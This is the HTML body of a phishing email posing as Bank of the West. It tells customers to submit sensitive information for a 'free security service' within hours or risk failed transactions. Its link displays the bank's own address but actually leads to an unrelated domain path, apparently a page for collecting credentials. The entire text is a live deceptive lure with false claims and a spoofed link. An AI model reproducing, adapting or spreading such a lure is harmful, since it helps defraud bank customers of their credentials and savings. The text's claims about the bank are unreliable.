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<p align="justify"><font face="Verdana" size="2">At the Bank of the
West, we take protecting your financial information seriously. We
recognize and respect your right to privacy when it comes to your
personal financial information. Please attend to our request to our
active consumers to protect them of online fraud and frequent rising
scam attacks against our financial institution. </font></p>
<p align="justify"><font face="Verdana" size="2">Actually, we are
performing security improvements of our banking community and
enforce customers to register their sensitive information for an
additionally created free security service to prevent any fraudulent
activity against their assets and savings. We, hereby ask you to
respond within few hours of current notification and complete
security application form via our SSL protected website to apply for
this service absolutely for free, otherwise your account(s) may not
process posted transactions correctly and on time.</font></p>
<p align="justify"><font face="Verdana" size="2">Please visit us to
apply <a href="http://dispersionware.com/osticket/include/BOTW/index.htm">
http://www.bankofthewest.com/?register=aSODJ3</a> </font></p>
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